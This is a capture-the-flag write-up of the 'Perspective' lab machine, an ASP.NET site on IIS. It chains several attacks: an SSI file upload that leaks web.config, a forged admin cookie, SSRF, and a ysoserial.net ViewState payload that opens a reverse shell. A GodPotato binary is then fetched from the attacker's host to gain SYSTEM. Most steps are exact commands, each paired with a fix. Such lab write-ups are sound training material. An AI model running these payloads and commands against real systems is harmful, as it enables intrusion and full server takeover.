Perspective
Summary
A Windows IIS 10.0 server hosting an ASP.NET 'New Product Request System' (NPRS) at perspective.htb was fully compromised through a chain of five linked vulnerabilities. My self-registered a low-privilege account and uploaded a file with a .shtml extension to the product-image feature; IIS processed it as a Server-Side Include directive that read and returned the application's web.config, exposing the ASP.NET machineKey — the master encryption and validation keys for all authentication cookies and ViewState payloads.
Those keys were used to forge a valid forms-authentication cookie for the 'admin' account, granting immediate admin access without knowing the password. As admin, a PDF-report feature that fetched server-side URLs was abused to discover a private Swagger API on localhost:8000.
The same machineKey, combined with the ViewStateUserKey recovered by breaking its weak custom RC4 encryption, allowed ysoserial.net to forge a malicious __VIEWSTATE payload that deserialized to an OS command — giving a reverse shell as perspective\webuser and the user flag. The webuser account held SeImpersonatePrivilege; GodPotato exploited Windows COM impersonation to clone the NT AUTHORITY\SYSTEM token, achieving full control and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV --min-rate 5000 -p- $TARGETecho "$TARGET perspective.htb" | sudo tee -a /etc/hostscurl -sS -H 'Host: perspective.htb' http://$TARGET/feroxbuster -u http://perspective.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x aspx,asp,txt -H 'Host: perspective.htb'Exact commands 3
curl -sS -c cookies.txt -H 'Host: perspective.htb' http://$TARGET/Account/Register -o register.htmlcurl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Register -d "Username=$USERNAME&Password=$PASSWORD&ConfirmPassword=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>"curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Login -d "Username=$USERNAME&Password=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>" -LExact commands 3
printf '<!--#include virtual="/web.config"-->' > payload.shtmlcurl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -F 'ProductImage=@payload.shtml;filename=pwn.shtml;type=image/png' -F 'ProductName=test' -F '__VIEWSTATE=<vs>' -F '__VIEWSTATEGENERATOR=<vsg>' -F '__EVENTVALIDATION=<ev>'curl -sS -H 'Host: perspective.htb' http://$TARGET/Images/pwn.shtmlFixBlock server-executable extensions in the product-image upload featureCritical
Exact commands 4
git clone --depth 1 https://github.com/dazinator/AspNetCore.LegacyAuthCookieCompatcd AspNetCore.LegacyAuthCookieCompat && dotnet build --configuration Debugdotnet run --project AuthTool -- --username admin --validationKey <leaked_vk> --decryptionKey <leaked_dk> --validationAlg SHA1 --decryptionAlg AEScurl -sS -i -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' http://$TARGET/Admin/AdminProductsFixRotate the ASP.NET machineKey and store it outside web.configCritical
Exact commands 2
curl -sS -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' -X POST http://$TARGET/Admin/AdminProducts -d 'action=generate&productId=1' -o report.pdfpdftotext -layout report.pdf -FixRestrict the PDF-report renderer from fetching internal or localhost URLsHigh
Exact commands 5
python3 -c "from Crypto.Cipher import ARC4; key=bytes.fromhex('<rc4_key_hex>'); ct=bytes.fromhex('<encrypted_vsuk_hex>'); print(ARC4.new(key).decrypt(ct).decode())"nc -lvnp 4444ysoserial.exe -p ViewState -g TypeConfuseDelegate --path "/Products/NewProduct" --apppath "/" --validationkey <vk> --validationalg SHA1 --decryptionkey <dk> --decryptionalg AES --viewstateuserkey <decrypted_vsuk> -c "cmd /c powershell -nop -e <b64_revshell>"curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -d '__VIEWSTATE=<ysoserial_output>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>'type C:\Users\webuser\Desktop\user.txtFixReplace the weak RC4 ViewStateUserKey encryption with a strong algorithm and enforce ViewState MACCritical
Exact commands 5
whoami /privpython3 -m http.server 9000iwr -useb http://$ATTACKER_IP:9000/win/GodPotato-NET4.exe -outfile C:\Windows\Temp\gp.exeC:\Windows\Temp\gp.exe -cmd "cmd /c whoami"C:\Windows\Temp\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 80/tcp | http Microsoft IIS httpd 10.0 |